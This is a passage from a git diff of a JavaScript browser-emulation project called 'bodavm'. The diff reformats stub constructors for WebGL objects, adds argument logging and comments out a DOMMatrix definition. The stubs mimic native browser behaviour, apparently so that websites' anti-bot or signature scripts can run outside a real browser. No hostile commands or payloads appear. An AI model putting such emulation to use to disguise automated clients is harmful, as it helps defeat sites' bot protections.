实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLSync)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLSync'], "WebGLSync"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLTexture.js b/env_xbb_lastest_jsdom/env/WebGLTexture.js index bcf8b569..4f72851b 100644 --- a/env_xbb_lastest_jsdom/env/WebGLTexture.js +++ b/env_xbb_lastest_jsdom/env/WebGLTexture.js @@ -1,3 +1,17 @@ -// WebGLTexture对象 -bodavm.memory.globalobj['WebGLTexture'] = function WebGLTexture(){if (!(this instanceof WebGLTexture)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLTexture'], "WebGLTexture"); +// WebGLTexture对象 + +bodavm.memory.globalobj['WebGLTexture'] = function WebGLTexture() { + console.log_copy('WebGLTexture 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLTexture)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLTexture'], "WebGLTexture"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLTransformFeedback.js b/env_xbb_lastest_jsdom/env/WebGLTransformFeedback.js index 4aa6e01e..ff634481 100644 --- a/env_xbb_lastest_jsdom/env/WebGLTransformFeedback.js +++ b/env_xbb_lastest_jsdom/env/WebGLTransformFeedback.js @@ -1,3 +1,17 @@ -// WebGLTransformFeedback对象 -bodavm.memory.globalobj['WebGLTransformFeedback'] = function WebGLTransformFeedback(){if (!(this instanceof WebGLTransformFeedback)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLTransformFeedback'], "WebGLTransformFeedback"); +// WebGLTransformFeedback对象 + +bodavm.memory.globalobj['WebGLTransformFeedback'] = function WebGLTransformFeedback() { + console.log_copy('WebGLTransformFeedback 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLTransformFeedback)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLTransformFeedback'], "WebGLTransformFeedback"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLUniformLocation.js b/env_xbb_lastest_jsdom/env/WebGLUniformLocation.js index 4e0af231..e5127204 100644 --- a/env_xbb_lastest_jsdom/env/WebGLUniformLocation.js +++ b/env_xbb_lastest_jsdom/env/WebGLUniformLocation.js @@ -1,3 +1,17 @@ -// WebGLUniformLocation对象 -bodavm.memory.globalobj['WebGLUniformLocation'] = function WebGLUniformLocation(){if (!(this instanceof WebGLUniformLocation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLUniformLocation'], "WebGLUniformLocation"); +// WebGLUniformLocation对象 + +bodavm.memory.globalobj['WebGLUniformLocation'] = function WebGLUniformLocation() { + console.log_copy('WebGLUniformLocation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLUniformLocation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLUniformLocation'], "WebGLUniformLocation"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebGLVertexArrayObject.js b/env_xbb_lastest_jsdom/env/WebGLVertexArrayObject.js index b2be8340..cf81e297 100644 --- a/env_xbb_lastest_jsdom/env/WebGLVertexArrayObject.js +++ b/env_xbb_lastest_jsdom/env/WebGLVertexArrayObject.js @@ -1,3 +1,17 @@ -// WebGLVertexArrayObject对象 -bodavm.memory.globalobj['WebGLVertexArrayObject'] = function WebGLVertexArrayObject(){if (!(this instanceof WebGLVertexArrayObject)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLVertexArrayObject'], "WebGLVertexArrayObject"); +// WebGLVertexArrayObject对象 + +bodavm.memory.globalobj['WebGLVertexArrayObject'] = function WebGLVertexArrayObject() { + console.log_copy('WebGLVertexArrayObject 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLVertexArrayObject)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLVertexArrayObject'], "WebGLVertexArrayObject"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WebKitCSSMatrix.js b/env_xbb_lastest_jsdom/env/WebKitCSSMatrix.js index 8be2ef53..6eb4f043 100644 --- a/env_xbb_lastest_jsdom/env/WebKitCSSMatrix.js +++ b/env_xbb_lastest_jsdom/env/WebKitCSSMatrix.js @@ -1,42 +1,83 @@ -// DOMMatrix对象 -bodavm.memory.globalobj['DOMMatrix'] = function DOMMatrix(){this._boarg= new bodaobj.window.DOMMatrix();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMMatrix'], "DOMMatrix"); -bodavm.memory.globalobj['DOMMatrix'].prototype.__proto__=bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype; -bodavm.memory.globalobj['DOMMatrix'].__proto__=bodavm.memory.globalobj['DOMMatrixReadOnly']; -bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat32Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat32Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat32Array", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat64Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat64Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat64Array", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrix', "fromMatrix", {configurable:true, enumerable:true, writable:true, value:function fromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromMatrix", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrix', "a", {configurable:true, enumerable:true, get:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_get", arguments)}, set:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "b", {configurable:true, enumerable:true, get:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_get", arguments)}, set:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "c", {configurable:true, enumerable:true, get:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_get", arguments)}, set:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "d", {configurable:true, enumerable:true, get:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_get", arguments)}, set:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "e", {configurable:true, enumerable:true, get:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_get", arguments)}, set:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "f", {configurable:true, enumerable:true, get:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_get", arguments)}, set:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m11", {configurable:true, enumerable:true, get:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_get", arguments)}, set:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m12", {configurable:true, enumerable:true, get:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_get", arguments)}, set:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m13", {configurable:true, enumerable:true, get:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_get", arguments)}, set:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m14", {configurable:true, enumerable:true, get:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_get", arguments)}, set:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m21", {configurable:true, enumerable:true, get:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_get", arguments)}, set:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m22", {configurable:true, enumerable:true, get:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_get", arguments)}, set:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m23", {configurable:true, enumerable:true, get:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_get", arguments)}, set:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m24", {configurable:true, enumerable:true, get:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_get", arguments)}, set:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m31", {configurable:true, enumerable:true, get:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_get", arguments)}, set:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m32", {configurable:true, enumerable:true, get:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_get", arguments)}, set:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m33", {configurable:true, enumerable:true, get:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_get", arguments)}, set:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m34", {configurable:true, enumerable:true, get:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_get", arguments)}, set:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m41", {configurable:true, enumerable:true, get:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_get", arguments)}, set:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m42", {configurable:true, enumerable:true, get:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_get", arguments)}, set:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m43", {configurable:true, enumerable:true, get:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_get", arguments)}, set:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m44", {configurable:true, enumerable:true, get:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_get", arguments)}, set:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "invertSelf", {configurable:true, enumerable:true, writable:true, value:function invertSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "invertSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "multiplySelf", {configurable:true, enumerable:true, writable:true, value:function multiplySelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "multiplySelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "preMultiplySelf", {configurable:true, enumerable:true, writable:true, value:function preMultiplySelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "preMultiplySelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateAxisAngleSelf", {configurable:true, enumerable:true, writable:true, value:function rotateAxisAngleSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateAxisAngleSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateFromVectorSelf", {configurable:true, enumerable:true, writable:true, value:function rotateFromVectorSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateFromVectorSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateSelf", {configurable:true, enumerable:true, writable:true, value:function rotateSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "scale3dSelf", {configurable:true, enumerable:true, writable:true, value:function scale3dSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scale3dSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "scaleSelf", {configurable:true, enumerable:true, writable:true, value:function scaleSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scaleSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "skewXSelf", {configurable:true, enumerable:true, writable:true, value:function skewXSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewXSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "skewYSelf", {configurable:true, enumerable:true, writable:true, value:function skewYSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewYSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "translateSelf", {configurable:true, enumerable:true, writable:true, value:function translateSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "translateSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "setMatrixValue", {configurable:true, enumerable:true, writable:true, value:function setMatrixValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "setMatrixValue", arguments)}},'prototype'); +// DOMMatrix对象 +WebKitCSSMatrix = bodavm.memory.globalobj['DOMMatrix']; +// bodavm.memory.globalobj['DOMMatrix'] = function DOMMatrix(){this._boarg= new bodaobj.window.DOMMatrix();this._boisinit=bodavm.config.isinit} + +// bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMMatrix'], "DOMMatrix"); + +// bodavm.memory.globalobj['DOMMatrix'].prototype.__proto__=bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype; + +// bodavm.memory.globalobj['DOMMatrix'].__proto__=bodavm.memory.globalobj['DOMMatrixReadOnly']; + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat32Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat32Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat32Array", arguments)}}); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat64Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat64Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat64Array", arguments)}}); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "fromMatrix", {configurable:true, enumerable:true, writable:true, value:function fromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromMatrix", arguments)}}); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "a", {configurable:true, enumerable:true, get:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_get", arguments)}, set:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "b", {configurable:true, enumerable:true, get:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_get", arguments)}, set:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "c", {configurable:true, enumerable:true, get:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_get", arguments)}, set:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "d", {configurable:true, enumerable:true, get:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_get", arguments)}, set:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "e", {configurable:true, enumerable:true, get:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_get", arguments)}, set:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "f", {configurable:true, enumerable:true, get:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_get", arguments)}, set:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m11", {configurable:true, enumerable:true, get:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_get", arguments)}, set:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m12", {configurable:true, enumerable:true, get:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_get", arguments)}, set:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m13", {configurable:true, enumerable:true, get:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_get", arguments)}, set:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m14", {configurable:true, enumerable:true, get:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_get", arguments)}, set:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m21", {configurable:true, enumerable:true, get:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_get", arguments)}, set:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m22", {configurable:true, enumerable:true, get:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_get", arguments)}, set:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m23", {configurable:true, enumerable:true, get:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_get", arguments)}, set:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m24", {configurable:true, enumerable:true, get:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_get", arguments)}, set:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m31", {configurable:true, enumerable:true, get:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_get", arguments)}, set:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m32", {configurable:true, enumerable:true, get:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_get", arguments)}, set:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m33", {configurable:true, enumerable:true, get:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_get", arguments)}, set:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m34", {configurable:true, enumerable:true, get:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_get", arguments)}, set:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m41", {configurable:true, enumerable:true, get:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_get", arguments)}, set:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m42", {configurable:true, enumerable:true, get:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_get", arguments)}, set:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m43", {configurable:true, enumerable:true, get:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_get", arguments)}, set:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "m44", {configurable:true, enumerable:true, get:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_get", arguments)}, set:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_set", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "invertSelf", {configurable:true, enumerable:true, writable:true, value:function invertSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "invertSelf", arguments)}},'prototype'); + +// bodavm.toolsFunc.defineProperty('DOMMatrix', "multiplySelf", {configurable:true, 